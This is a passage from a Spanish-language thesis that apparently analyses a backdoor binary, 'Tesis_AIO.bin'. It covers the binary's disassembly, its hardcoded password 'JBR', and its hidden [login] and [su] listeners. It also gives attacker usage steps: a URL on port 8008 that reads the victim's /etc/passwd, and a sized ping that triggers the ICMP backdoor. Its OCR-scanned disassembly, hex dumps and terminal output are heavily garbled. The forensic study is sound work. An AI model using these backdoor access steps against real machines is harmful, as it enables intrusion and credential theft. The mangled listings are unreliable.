en la seccién .rodata.
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File Edit View Terminal Help

OoT section .rodata:

03000000 01000200 000EEEO0 ©0EOEOEOO
00000000 00000000 000EEEEE 0OBEEOOO
52444670 61737377 6726400 5b737

Figura 4.4-29 Analisis de direccion

v' Tal como se menciond anteriormente la direccion 0x804a940 pertenece a la

seccion .rodata.

v El string RDFpassword esta almacenado en la direccion 0x804a940.

Ahora analizaremos la segunda linea que corresponde a la direccion 0x804c240.
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|| seasfab: 68 40 c2 04 08 push  $0x804c240
Figura 4.4-30 Andlisis de direccion

Esta direccion fue muy dificil de encontrar ya que era lo que menos se pensaba, el

comando nm fue de gran ayuda.

File Edit View Terminal Help

=] root@bt: ~/TESIS [Z] root@bt: ~/TESIS

Figura 4.4-31 Andlisis de direccion

v' Como observamos en la grafica esta direcciéon corresponde a una variable
llamada stored_password, lo que nos hace pensar que algo de la seccion

.rodata se almacena en esta variable.
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La siguiente linea a analizar es 8048e70 <_strcpy@plt>

|| 8048f50: e8 1b ff ff ff call  8048e70 <strcpy@lt> | l

SRR =

Figura 4.4-32 Analisis de direccién

Ejecutamos el comando objdump —s y buscamos esta direccion y encontramos que

pertenece a la seccion .plt

File Edit View Terminal Help

Figura 4.4-34 Andlisis de direccion
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Cabe mencionar que la seccién .plt contiene una tabla jump, esta tabla es usada

cada vez que se llaman a las funciones de las librerias compartidas.

v' Esta direccion corresponde a la funcién strcpy, esta funcion permite copiar

una cadena de caracter dentro de otra cadena.

Analizando estas tres primeras lineas, el string RDFpassword se copia dentro de la

variable stored_password mediante la funcion strcpy.

Las siguientes lineas son:

8048f55: 83 c4 10 add $0x10,%esp
8048f58: 83 ec 08 sub $0x8,%esp
8048f5b: 68 40 a9 04 08 pl.‘fh $0x804a940
8048760: 68 ab 42 05 08 push  $0x80542a0
8048765: e8 06 ff ff ff call 8048e70 <strcpy@plt>

Figura 4.4-35 Andlisis de direccidn

0x10, %esp segun el codigo ASCII corresponde a un enlace de datos de escape,
esto corresponde a un caracter de comunicacién de control que indica que el

siguiente caracter no es de datos.

0x8, &esp segun el cédigo ASCII corresponde a un espacio (backspace).
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Luego aparece otra vez la direccién 0x804a940 correspondiente a RDFpassword.

Tal vez la direccion 0x80542a0 corresponda a alguna variable, lo confirmaremos

con el comando nm.

File Edit View Terminal Help

Figura 4.4-36 Analisis de direccion

v' Esa direccién corresponde a la variable pw.

Por ultimo tenemos la direccién 8048e70 <_strcpy@plt>, entonces el strings de texto

de >RDFpassword se copia en la variable pw mediante la funcién strcpy.
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Las siguientes lineas son las siguientes:

8048f6a: 83 c4 10 add $0x10,%esp

8048f6d: cb 05 40 c2 04 08 4a movb  $0x4a,0x804c240

8048174: c6 05 41 c2 04 08 42 movb $0x42,0x804c241

8048f7b: c6 05 42 c2 04 08 52 movb $0x52,0x804c242 i
8048f82: c6 05 43 c2 04 08 00 movb $0x0,0x804c243 ["m

Figura 4.4-37 Andlisis de direccion

La primera corresponde a otro enlace de datos de escape.

Como se puede apreciar entre 0x804c240 y 0x804¢250, no existe nada, entonces

este espacio (0x804c241 a 0x804c249), corresponde a la variable stored_password.

File Edit View Terminal Help

listen@aGLIB

Figura 4.4-38 Andlisis de direccion
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Al parecer algo se escriben dentro de la variable stored_password.

Segun la tabla ASCII estos valores corresponden a lo siguiente

0x804c240=0x4a=J

0x804c241=0x42=B

0x804c242=0x52=R

0x804c243=0x0=Null

Edit View Terminal Help

ge ascii(7) line 20
Figura 4.4-39 Andlisis de direccion
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Nuestras siguientes lineas a analizar son las siguientes:

File Edit View

8048f82: c6 B85 43 c2 B84 B8 00 movb $Ox0,0x804c243
8048T89: c6 65 PO 43 ©5 B8 Sb movb $0x5b,B6x860543086
8048790 : c6 85 81 43 ©5 08 53 movb $0x53,0x8054301

8048T197: c6 B85 B2 43 B85 B8 69 movb $0x69,0x8054302
8048f9%e: c6 B5 B3 43 ©5 B8 6d movb $0x6d,0x8054303
8048fTas5: c6 65 84 43 ©5 B8 75 movb $0x75,0x86054304
8048fac: c6 B5 B5 43 B5 B8 6C movb $0x6c,0x86543685
8048fb3: c6 B5 06 43 65 B8 61 movb $0x61,0x86054306
8048fba: c6 B5 87 43 B85 B8 74 movb $0x74,0x8054307
8048fcl: c6 65 B8 43 O5 B8 65 movb $0x65,0x8054308
8048fTc8: c6 B5 09 43 B5 B8 64 movb $0x64,0x86054309
8048fcT: c6 B5 Ba 43 65 ©8 20 movb $0x20,0x8605430a
8048fd6: c6 85 Ob 43 B85 B8 42 movb $0x42,0x86065430b
8048fdd: c6 O5 Bc 43 65 B8 6T movb $Ox6T,0x8085430c
8048Te4: c6 B5 ©6d 43 B85 B8 67T movb $0x6T,0x865430d
8048feb: c6 B5 Be 43 5 B8 62 movb $0x62,0x805430e
8048fT2: c6 B5 B6f 43 ©5 B8 79 movb $Ox79,0x865430f
8048TT9: c6 65 10 43 B85 B8 20 movb $0x20,0x80543186
8049000 : c6 B5 11 43 ©B5 ©8 54 movb $0x54,0x8054311
8049007 : c6 B85 12 43 ©5 B8 72 movb $0x72,0x8054312
804900e: c6 B85 13 43 ©5 B8 61 movb $O0x61,0x8654313
8049815: c6 65 14 43 ©5 ©8 70 movb $0x70,06x8054314
804901c: c6 B85 15 43 B85 B8 21 movb $0x21,0x86054315
8049823 : c6 B5 16 43 65 ©8 5d movb $0x5d,0x86054316
804902a: c6 85 17 43 B5 B8 ©Oa movb $0xa, Ox8054317

86049631 : c6 65 18 43 O5 B8 46 movb $0x46,0x860854318
8049038: c6 B5 19 43 B5 B8 6T movb $0x6T,0x860654319
804963f: c6 B5 1a 43 ©5 ©8 72 movb $0x72,0x8605431a
8049046 c6 065 1b 43 ©5 B8 6d movb $0x6d, Ox8605431b
804964d: c6 65 1c 43 65 B8 61 movb $0x61,0x8085431c
8049054 : c6 B85 1Id 43 ©5 ©8 74 movb $0x74,0x8605431d
804905b: c6 B5 le 43 5 ©8 20 movb $0x20,0x805431e
80496062 : c6 B85 1T 43 ©5 B8 43 movb $0x43,0x805431f
8049069: c6 O5 20 43 B85 B8 6T movb $0x6f,0x805432806
8049070 : $0x6d,0x8054321

8049077 : $0x70,0x8054322
: = 3 ; % 0 % C 4323

Figura 4.4-40 Analisis de direccion
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Nuestra primera linea hace referencia a la direccion 0x8054300 que corresponde a
la variable string to_print, como ocurri6 con la variable anterior valores en

hexadecimal se escriben en esta variable.

File Edit View Terminal Help

Figura 4.4-41 Anélisis de direccion
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Segun la tabla ASCII esos valores corresponden a los siguientes caracteres

0x8054300=0x5b=[

0x8054301=0x53=S

0x8054302=0x69=i

0x8054303=0x6d=m

0x8054304=0x75=u

0x8054305=0x6¢=|

0x8054306=0x61=a

0x8054307=0x74=t

0x8054308=0x65=¢e

0x8054309=0x64=d

0x805430a=0x20="space”

0x805430b=0x42=B

0x805430c=0x6f=0

0x805430d=0x6f=0

0x805430e=0x62=b

0x805430f=0x79=y



0x8054310=0x20="space”

0x8054311=0x54=T

0x8054312=0x72=r

0x8054313=0x61=a

0x8054314=0x70=p

0x8054315=0x21=!

0x8054316=0x5d=]

0x8054317=0xa="new line”

0x8054318=0x46=F

0x8054319=0x6f=0

0x805431a=0x72=r

0x805431b=0x6d=m

0x805431c=0x61=a

0x805431d=0x74=t

0x805431e=0x20="space”

0x805431f=0x43=C

0x8054320=0x6f=0

0x8054321=0x6d=m

113
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0x8054322=0x70=p

0x8054323=0x6¢=I

0x8054324=0x65=¢€

0x8054325=0x74=t

0x8054326=0x65=¢e

0x8054327=0x21=!

0x8054328=0xa="new line”

0x8054329=0x0=NULL

Uniendo todas los caracteres forman el siguiente mensaje:

[Simulated Booby Trap!] Format Complete!
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vh

3 0a

c6 0 B8 00

3 e 6a 17 00 00 all 804asle <get assword>

igura 4.4-42 Analisis de direccion

Ahora se observa que hace una llamada a la funcién get_password, al hacer este
respectivo llamado, todo el codigo que se encuentra dentro de esta funcién se

comienza a ejecutar, con lo comenzaremos con su respectivo analisis.

IS!

Figura 4.4-43 Andlisis de direccidn

Las dos primeras lineas describen la preparacion de la pila o stack, luego se
substraen del registro %esp la letra X que corresponde a 0x58 y un formfeed que es

basicamente un caracter de avance de pagina, este corresponde s Oxc.
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La siguiente linea hace referencia a una direccion.

Esta es la direccion que corresponde al string EnterPassword, luego en la siguiente

hay una llamada a la funcion printf.

La funcion printf lo que hace es mostrar mensajes en la pantalla, pero en este caso

mostrara en pantalla el string EnterPassword:

- T
a4

Figura 4.4-44 Andlisis de direccion

Estas lineas tambien son importantes de analizar ya que hay una llamada a la

funcion scanf.

Figura 4.4-45 Andlisis de direccion

La funcién scanf se escarga de capturar todo lo que se ingrese por teclado.

Lo que quiere decir que despues de mostrarnos en pantalla el mensaje Enter

Password: esperara a que se ingrese algo por teclado.
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Figura 4.4-46 Andlisis de direccion

En esta lineas se muestra que hay una comparacion de lo que hay almacenado en
la variable stored_password con lo que el usuario a ingresado por teclado, esta

comparacion se realiza mediante la funcién strcmp.

Esta funcion se encarga de comparar dos strings, devuelve el valor de 0 si las dos

strings son iguales.

Cabe recalcar que la variable stored password originalmente contenia el texto

RDFpassword, pero luego fue cambiada por las letras JBR.

Figura 4.4-47 Andlisis de direccidn

La linea <get_password+54> tiene una instruccion jne, que nos indica que saltaria a
la direccion 804a872 de memoria si los eax (strings) son iguales, luego hay una

instruccién push que hace referencia a la direccion 0x804afal, y se llama a la
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funcion printf para mostrar algo en pantalla, esta direccion corresponde a lo

siguiente:

File Edit

ZbBBLO/S

3 63657074
00000000

Figura 4.4-48 Andlisis de direccion

Como se aprecia es un mensaje en pantalla indicAndonos que el password es

correcto y ha sido aceptado.

Figura 4.4-49 Anélisis de direccion
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Ahora observamos que hay una instruccion jmp que lleva a la direccion de memoria
804a8d9, es un salto incondicional, su propésito es desviar la continuidad del
programa, esta direccién se encuentra en la Ultima parte de la funcion, llegando ahi

el programa finalizara.

e Edit View Termir

Figura 4.4-50 Andlisis de direccion
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Luego hay una instruccién push que hace referencia a la direccion 0x804afc0, y se
llama a la funcién printf para mostrar algo en pantalla, esta direccién corresponde a

lo siguiente:

0 DOBO O ed

Weodafco 59677520 656e7465 72656420 616e2049 You entered an I
804afdo 6e636f72 72656374 20506173 73776f72 ncorrect Passwor
p4afed 64262020 45786974 696e672e 2e2e0a00 d. Exiting...

Figura 4.4-51 Anélisis de direccion

Como se aprecia es un mensaje en pantalla indicandonos que el password es

incorrecto y se cierra el programa.
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Figura 4.4-52 Analisis de direccién

Ahora hay un push en la direccibn de memoria 0x80542a0, recordando esta

direccion de memoria corresponde a la variable pw que contiene el texto o string

RDFpassword, luego hay una llamada a la funcién strcmp que se encargara de

comparar lo almacenado en la variable pw con lo que el usuario ingresa por teclado.

Si lo ingresado no es igual con lo almacenado en la variable pw la instruccion jne

hace un salto hasta 804a8cf que esta casi al finalizar de la funcion.

804a89d:
804a8a2:
804a8a7:
804a8aa:
804a8ad:
804a8b2:
804a8b7:
804a8bc:
804a8bf:
804a8c2:
804a8c7:
804a8cc:

[#)]

OO0
Wwoooowwaoo

W

00
0 L

Q0
wioo

push
call
add
sub
push

push

call
add

sub

push
call
add

$0x804b0O0G0O
8048d40 <printf@pldes
$0x10,23 D
p
,0x8054300
$0x804af9e
48d40 <printf@plt>

8048d40.<priptf@lt=
$0x10,%esp

Figura 4.4-53 Analisis de direccion
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~ v % root@bt: ~/TESIS
File Edit View Terminal Help
804a893: 83 c4 1¢ add
804a896: 85 cO test
804a898: 75 35 jne
804a89%a: 83 ec € sub $OXC,%esp
804a89d: 68 00 | 3 push Xx804b00O
804a8a2: 1 i call 8048d40 <printf@plts
804a8a7: add %esp
804a8aa: sub S
804a8ad: push
804a8b2: push
804a8b7: ed ff f call 8048d40 <printf@plt>
804a8bc: 10 add $OX %esp
804a8bf: 0c sub Sp
bO € : push x804b000O
804a8c7: eduf T ik call 8648d40.<priptf@plt>
804a8cc: 10 add $0x10 ,%esp
804a8cf: 83 ec OcC sub $0xC,%esp
804a8d2: 6a 00 push $0x0
804a8d4: e8 d7 e4 ff L 8048db0 <exit@plt>
804a8d9: c9 VE
804a8da: c3
804a8db: 90

0

0 WO
(Vo]

o m
[ I

(o]

[#)]
000 WwWwao

Mmoo
O 00woM
(I S Sl ¢ )

(o]

Qo wwo
(9]

804a8c2:

[ )]
o0
"N O
0

o0
w
P

N

0804a8dc < do global ctors
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Figura 4.4-54 Andlisis de direccidn

La siguiente linea se encuentra una instruccion push a la direccibn de memoria

0x804b000 y luego se llama a la funcién para imprimir algo en pantalla.

(8054300
804af9e

48d40 <print
10,%

804a8ad:
804a8b2:
804a8b7:
804a8bc:

(o) Mo}

D

04bo0o0O

8848d40..<pript
$Ox10,%esp

804

o0

804at -
804a8c7:
804a8cc:

Wioo 00 W W oo

(o N{))

Figura 4.4-55 Analisis de direccion
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Lo correspondiente a la direccion de memoria 0x804b000 es lo siguiente:

A v X root@bt: ~/TESIS
File Edit View Terminal Help

804af00 0d0a3d3d 3d3d3d3d 3d3d57
804af10 6520746f “0687474 703
804af20 636e686f 2 2e636f6d
804af30 3d3d3d3d Od0d3d3d 3d3d3d3d
804af40 59617520 67617420 69742c20 68617665 You Oot it, have
804af50 20612067 6T6T646Cc 75636b2e 2033 a-goodluck. :)=
804af60 3d3d3d3d 3d3d3d3d 0dea@doa 59617572
804af70 20636T6d 6d616e64 33200000 7368002f : _
804af80 62696e2f 73680069 636d7000 00456e74 bin/sh.icmp..Ent
804af90 65722050 61737377 61726433 200¢€ er Password: .%s
afad 00506173 73776772 64206163 636 4 .Password accept
6564210a 00000000 OOOE
59617520 656e7465 72656420 6162049 You entered an I
oO4a dO 6e636f72 72656374 713776f72 ncorrect Passwor
804afed 6422020 45786974 090cu72c 22220200 d< = Exdting
804aff0 00000000 0OOOLOOA CPOLOREO EPEEOOOE
3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d
804b010 3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d
804b020 3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d
804b030 3d3d3d3d 3d3d3dea 00
ontents of section .data:
804cO3c 00PEOOOO POOOEOEO 28clO408
Contents of section .eh frame:
804c048 00000000

L R R S S SV F DALY SR PR SR

Figura 4.4-56 Andlisis de direccion

La siguiente linea la instruccion push con la direccion de memoria 0x8054300
corresponde a la variable string_to_print, anteriormente se demostr6 que esta
variable tenia almacenado el mensaje [SimulatedBoobyTrap!]Format Complete!.,
luego hace un llamado a la funcion printf para mostrarlo en pantalla, luego una vez
més hay una instruccién push con direccion de memoria 0x804b000, al parecer lo

mostrado en pantalla quedaria de la siguiente manera:



124

804a8d4: 4 ff call 8048dbo <exit@plt>
804a8d9: leave
804a8da: 5 ret

804a8db: nop

Figura 4.4-57 Analisis de direccion

Las ultimas lineas indican la finalizacién de la funcion get_password, si el password
ingresado fue incorrecto la instruccion call hace una llamada a la funcién exit que
terminara el programa, caso contrario se terminara con la funcién pero el programa

continuarda ejecutandose.

La funcién get_password no se encarga de robar contrasefias, mas bien se encarga
de comparar si lo tecleado por el usuario coincide con las contrasefas

correspondientes del archivo recuperado.

En resumen se muestra un diagrama de flujo de la funcién get _password para

entenderlo de una manera mejor con lo mencionado anteriormente.
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get_passward :
push  abp

nov abp, asp

sub asp, SAh

sub asp, OCh

push  offset aEntarFassuord;
Gall _print

add asp, 10h

sub asp, 8

Taa =ax, [=bp+s1]

push  =@ax

push  of Fsat al ; "t
call _scanf

add asp, 1il0h

Taa =ax, [abp+s1]

sub asp, B

push  =max ;a7
push  of fsat stored_password; s1
call _stronp

add asp, 1l0h

tast @3, @@

jnz shart loc_BO44872

“Entar Fassword: *

,—I

I—|

trus Falsa
=ub wsp, 0Ch
push  offast stouEntarsdAnin; “You esntersd an Incorrect Passward. Esi®...
call  _printf
add ssp, 10h =ub a=p, UCh
;E: :::’ g""“"s 1 push nf';sfat aPas suordAccapt ; “Passward accaptad! %™
.
push nffeat pu ; =T “:;1 "’”"ifnh
h  max ; sl 3 ity
Buan 2 nn i Gnp short Tocrs+_BO44B09
add s=p, 10h
tast  man, A
dnz shart 1ac_f8 14A8GF
| 1
Fala=m trus

sub asp, 0Gh

push  of feet asc_AN4E000;

c=11  _printf

add ssp, LOh

sub asp, A

push  affeet string_to_print

push  offsat a3 7 mst

c=ll  _printf

add asp, 10h

sub asp, 0Gh

push  of fsat ssc_A04B000; © L

call  _printf

add msp, 10h

El

1 &+
=ub asp, 01Gh
push [] ; status
call axit

TIF

65.22% (101,24) & nodes, 15 edge segments, 0 crossings

Figura 4.4-58 Diagrama de Flujo
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4.5 EJECUCION DEL ARCHIVO RECUPERADO

Primero ejecutamos el archivo junto con el comando strace para interceptar las

llamadas al sistema e ingresamos la contrasefa JBR.

File Edit View Terminal Help

Figura 4.5-1 Comando strace —o —s -ff
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Como nos muestra en pantalla la contrasefa ha sido aceptada y el programa se ha

ejecutado con éxito.

En otra pantalla ejecutamos el comando ps con la opcién —eaf, el cual nos muestra

en pantalla todos los procesos que estan en ejecucioén.

~ v X root@bt: ~
File Edit View Terminal Help

root 1218 1 0 14:
root 1230 1 0 14:
1241 14:
1242 0 14:
1245 0 14:
1247 14:
1259 14:
1261 14:
1272 14:
1274 ) 14:06
1278 0 14:
1279 14:
128 14:
1289 14:
1292 14: :00800 /usI 25530
1294 14 ? :00: 00 /& ib#Aindi I { ndicat
1296 14: :00:00 plication/i
1306 14:0€
1307 14:
1308 14:00 pts/ : g
1321 14:00 7 o ) [kworker/e€
1329 14: 7 ):00:00 dhclient3 -e
1380 / st e -0 -X -

—
)

=

—

(o o]

[o Mo

o0

Olello] © © ©

1388
1404
1416

~# I
=] root@bt:

[o B o]

Figura 4.5-2 Ejecucion de archivo recuperado
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File Edit View Terminal Help

0

5bc6f67

Figura 4.5-3 Ejecucidn de archivo recuperado

Como se observa después de que hemos ejecutado el archivo junto con el comando
strace, se ejecutan dos procesos sospechosos, uno tiene un identificador de
proceso 1363 perteneciente a un [login], mientras el otro tiene un identificador de

proceso 1364 perteneciente a [su].
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Cuando se examinO anteriormente el codigo del archivo recuperado se pudo

apreciar que tanto [login] como [su] son strings.

Como se observa [login] [su] son strings que van junto al string RF password.

Hemos detectado que dos procesos sospechosos se ejecutan, ahora verificaremos
si se establecen conexiones de red después de que se ejecuta el archivo

recuperado.

Utilizaremos el comando netstat que nos muestra un listado de las conexiones
activas de una computadora, tanto entrantes como salientes, este comando lo
usamos junto con las opciones —anp, mostraran todos lo sockets y procesos

ejecutados en cada socket.



A ovix root@bt: ~
File Edit View Terminal Help

1
Tesis AIO 1384 root L ‘ /dev/nul

1384 root L : /dev/nul
1384 root L /dev/nul
*:8008 (

1385 root cwd DIR 4096 2

1385 root rtd DIR 4096 2
Tesis 1385 root txt REG 25469 271438
SIS/Tesis AIO.bin
Tesis AIO 4385 root mem REG 1405508 3671795 /lib/tls
/1686/cmovylibc-2.11.1480
Tesis AIO 1385 roois, mem REG 117086 3671821 /1ib/tls
/1686/cmov/¥ibpthtead-2.11.1.s0
Tesis AIO 1385 root mem REG 42572 3671812 /lib/tls
/1686/cmov/libnss files-2.11.1.s0
Tesis AIO 1385 root mem REG 113964 3538974 /lib/1d-
2.11.1.50
Tesis AIO 1385 root J CHR 0to 4708 /dev/nul
1
Tesis AIO 1385 root { CHR 0te 4708 /dev/nul
1
Tesis AIO 1385 root u CHR 0to 4708 /dev/nul
1
Tesis AIO 1385 root 1 CHR 0te 4708 /dev/nul
1
bl root@bt: ~/TESIS root@bt: ~ =] root@bt: ~

Figura 4.5-4 Comando netstat

/root/TE

~ v X root@bt: ~
File Edit View Terminal Help

1384 root 4. 0te

1385 root 4096
Tesis AIO 1385 root 4096 /
Tesis AIO 1385 root 25469 /root/TE
SIS/Tesis AIO.bin
Tesis AIO 1385 root mem E 1405568 3671795 Jlib/t 15
/1686/cmov/1libc-2.11.1.50
Tesis AIO 1385 root mem 117086 3671821 /lib/tls
/1686/cmov/1ibpthread-2.11.1.50
Tesis AIO 1385 root mem 42572 3671812 /lib/tls
/1686/cmov/libnss files-2.11.1.s0
Tesis AIO 1385 root mem 113964 3538974 /lib/1d-
2.11.1.s0
Tesis AIO 1385 root 6u 0te 4708 /dev/nul
1
Tesis AIO 1385 root t 0to 4708 /dev/nul
1
Tesis AIO 1385 root U 0to 4708 /dev/nul
1
Tesis AIO 1385 r L 0te 4708 /dev/nul
1
esis AIO 1385 00000000

bash 1388 root cwd 4096 262145 /root

bash 1388 root rtd 4096 2
WER 1388 root txt 81823 131077 /bin/bas

root@bt: ~/TESIS =] root@bt: ~

Figura 4.5-5 Comando netstat
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Como se muestra en la pantalla vemos los nombres de los procesos sospechosos
que se han ejecutado, el primer proceso con nombre [login], se encuentra
escuchando o esperando conexiones tcp por el puerto 8008 y el proceso [su] se

encuentra esperando conexiones raw en el puerto nimero 1.

Cabe recalcar que cuando un puerto se encuentra escuchando o esperando

conexiones, este se encuentra abierto.

Para asegurarnos de que estos procesos se han ejecutado nos dirigimos al
directorio proc, a este directorio se lo llama directorio de proceso, ya que pueden
hacer referencia a un ID de proceso y contener informacién especifica para ese
proceso. El propietario y grupo de cada directorio de proceso esta configurado para
que el usuario ejecute el proceso. Cuando se finaliza el proceso, el directorio del
proceso /proc desaparece. Sin embargo, mientras que se estd ejecutando el
proceso, una gran cantidad de informacion especifica a ese proceso esta contenida

en varios archivos del directorio de procesos.



~ v X root@bt: /proc/1384
File Edit View Terminal Help
:/proc/1384# cd
:~# ¢d /proc
:/proc# cd 1384
:/proc/1384# 1s -al
[total ©
-Xr-xr-x 8 root root
118 root root
(r-x 2 root root

0 2012-07-13 14:01 .
0 2012-07-13 14:00 ..
0 2012-07-13 14:07 attr
1 root root © 2012-07-13 14:07 autogroup
1 root root © 2012-07-13 14:07 auxv
1 root root © 2012-67-13 14:07 cgroup
1 root root 0 2012-07-13 14:07 clear refs
1 root root 0 2012-07-13 14:02 cmdline
1 root root © 2012-07-13 14:07 comm
1 root root © 2012-07-13414:07 goredump filter
1 root root«6, 2032-07-13"14:07 Cpuset
1 redot root 0 2042-07-13 14:01 cwd -> /
‘-r 1 root root 0 2012-07-13 14:07 environ
[Lrwxrwxrwx 1 root root © 2012-67-13 14:01

r- 2 root root © 2012-07-13 14:01 fd
2012-07-13 14:01 fdinfo
2012-07-13 14:07 io
2012-07-13 14:07 latency
2012-07-13 14:07 limits
2012-07-13 14:07 loginuid
2012-07-13 14:01 maps
2012-07-13 14:07 mem
2012-07-13 14:07 mountinfo
2012-07-13 14:07 mounts

2 root root
1 root root
1 root root
1 root root
1 root root
1 root root
1 root root
1 root root
1 root root

(] root@bt: ~... root@bt: ~ [Z] root@bt: ~ ] root@bt: ~ ] root@bt: /p... [N

[clloNoNoNoNoNoNoNol

Figura 4.5-6 Comando Is -al

~ v X root@bt: /proc/1385
File Edit View Terminal Help
:~# cd /proc
:/proc# cd 1385
:/proc/1385# 1s -a

"-X 8 root root © 2012-07-13 14:01 .
r-x 118 root root 0 2012-07-13 14:00 ..
2 root root 0 2012-07-13 14:34 attr
1 root root 0 2012-07-13 14:34 autogroup
1 root root 0 2012-07-13 14:34 auxv
1 root root © 2012-07-13 14:34 cgroup
1 root root © 2012-07-13 14:34 clear refs
1 root root 0 2012-07-13 14:02 cmdline
1 root root 2012-07-13 14:34 comm
1 root root X 2012-07-13 14:34 coredump filter
1 root root 2012-07-13414:34 gpuset
xrwx 1 root root«, 2042-07-43114:01 twd «=> /
1 re0t root 0 20¥2-07-13"14:34 environ
1 root root © 2012-07-13 14:01
2 root root © 2012-07-13 14:01 fd
2 root root © 2012-07-13 14:01 fdinfo
1 root root © 2012-07-13 14:34 io
1 root root @ 2012-07-13 14:34 latency
1 root root © 2012-07-13 14:34 limits
1 root root © 2012-07-13 14:34 loginuid
1 root root 0 2012-07-13 14:01 maps
1 root root 0 2012-07-13 14:34 mem
1 root root © 2012-07-13 14:34 mountinfo
1 root root © 2012-07-13 14:34 mounts
root @ 2012-07-13 14:34 mountstats

root@bt: ~ >] root@bt: ~
Figura 4.5-7 Comando Is -al
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Se observa que ambos procesos sospechosos han sido ejecutados.

Anteriormente se mencioné las distintas maneras en que este archivo ejecutable

actuaba al momento de ser ejecutado, actuaba como:

v Servidor HTTPD
v Backdoor ICMP
v Backdoor Shell
v Socket Transmisor
v Shell HTTP

v" Bindrootshell

Para pruebas hemos utilizado una maquina con sistema operativo Centos.

[root@localhost Desktopl]# ./Tesis AIO.bin
Enter Password: JBR

Password accepted!

[root@localhost Desktopl#

Figura 4.5-8 Prueba Centos
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45.1 SERVIDOR HTTPD

Este cddigo malicioso funciona como un servidor web, espera peticiones de entrada

para responderles, Apache es el servidor web de distribucion libre y de cédigo abierto

para plataformas Unix, Microsoft Windows, Macintosh y otras.

Una vez ejecutado el archivo en la victima se debe poner lo siguiente en el

navegador del atacante:

http://ipvictima:8008/givemefile/etc/passwd

T

root:x:0:0:root:/root: /bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon: /sbin: /sbin/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin

1p:x:4:7:1p: /var/spool/lpd: /sbin/nologin

sync:x:5:0:sync:/sbin: /bin/sync

shutdown: x:6:0: shutdown: /sbin: /sbin/shutdown
halt:x:7:0:halt:/sbin: /sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news: /etc/news:

uucp:x:10:14:uucp: /var/spool/uucp: /sbin/nologin
operator:x:11:0:operator: /root:/sbin/nologin

games:x:12:100:games: /usr/games: /sbin/nologin A
gopher:x:13:30:gopher: /var/gopher: /sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody: x:99:99: Nobody: /: /sbin/nologin

nscd:x:28:28:NSCD Daemon:/: /sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Porteapper RPC user:/:/sbin/nologin
apache:x:48: 48: Apache: /var/www: /sbin/nologin
mailnull:x:47:47::/var/spool/mqueue: /sbin/nologin
smmsp:x:51:51::/var/spool/mqueue: /shbin/nologin

pcap:x:77:77:: /var/arpwatch: /sbin/nologin

ntp:x:38:38::/etc/ntp: /sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70: Avahi daemon:/:/sbin/nologin
hsqldb:x:96:96: : /var/1ib/hsqldb: /sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody: x:65534:65534: Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahl-autolpd:x:100:102:avahi-autolpd: /var/l1ib/avahi-autoipd: /sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42: : /var/gdm: /sbin/nologin
jose:x:500:500: : /home/jose: /bin/bash

Figura 4.5-9 Ataque a victima


http://www.alegsa.com.ar/Dic/servidor%20web.php
http://www.alegsa.com.ar/Dic/software%20libre.php
http://www.alegsa.com.ar/Dic/codigo%20abierto.php
http://es.wikipedia.org/wiki/Unix
http://es.wikipedia.org/wiki/Microsoft_Windows
http://es.wikipedia.org/wiki/Macintosh
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El servidor web que el archivo ejecutable Tesis_AIO.bin instalé esta funcionando
correctamente, accediendo al archivo etc/passwd, comprometiendo al equipo, se
observa que el puerto 8008 es utilizado, este puerto antes fue mencionado que se

encontraba en escuchando o esperando conexiones.

El archivo /etc/passwd contiene toda la informacion relacionada con el usuario

(registro, contrasefia, etc.).

Se muestra informacion importante de todos los usuarios que trabajan en ese
equipo, la informacioén de cada usuario esta separada por dos puntos, comenzando

de izquierda a derecha tenemos:

v" Nombre de usuario.

v' Contrasefia, esta se encuentra encriptada.
v Identificacion de usuario.

v ldentificacién de grupo.

v Informacién de usuario.

v Directorio de trabajo

v Interprete de comando.
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Utilizamos la herramienta Wireshark para capturar el trafico de la red, el atacante

hace uso del puerto 45622 para acceder a la maquina victima remotamente.

Establece esta conexién mediante el puerto 8008 (puerto de la victima).

Time Source  Destination \ _ S

1 6.000€192.168.1.1 192.168.1.2

3 0.0003192.168.1.1 192.168.1.2 TP 66 45622 > http-alt [ACK] Seqel Ackel Wine14608 l.en’
4 0.000€192.168.1.1 192.168.1.2 TCP 375 45622 > http-alt [PSH, ACK] Seq=1 Ack=1 Win=1460 v

| ——

|+ Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)

|+| Ethernet II, Src: CadmusCo 00:0d:30 (08:00:27:00:0d:30), Dst: CadmusCo 6e:40:03 (08:00:27:6e:40:03)

(+| Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.2 (192.168.1.2)

Source port: 45622 (45622)
Destination port: http-alt (8668)

[Stream index: 0]

Sequence number: 0 (relative sequence number)
Header length: 4@ bytes

Window size value: 14600
[Calculated window size: 14660
+| Checksum: 0x8382 [validation disabled]

ik DAl anss (20 _haikan )

e — il
0600 08 00 27 6Ge 40 03 08 60 27 00 6d 30 08 00 45 00 ..'n@... '..0..E.
0010 00 3c a7 7f 40 060 40 66 Of €9 cO a8 01 01 cB a8 .<..@.@. ........

Figura 4.5-10 Prueba Wireshark




137

4.5.2 BACKDOOR ICMP

Un backdoor icmp permite al atacante hacerse con el control de los ordenadores a
través de redes (Internet, redes locales) incluso si estan protegidos por equipos de

seguridad de red como firewalls.

Este backdoor icmp se lo utiliza de la siguiente manera:

Primero debe hacerse un ping especial:

ping -s 101 -c 4 ipvictima

La opcion -s especifica el tamafio de la porciébn de datos del paqueteicmp, el
tamafio estandar es 56 bytes de datos + 28 bytes fijos de la cabecera IP, en total 84

bytes.

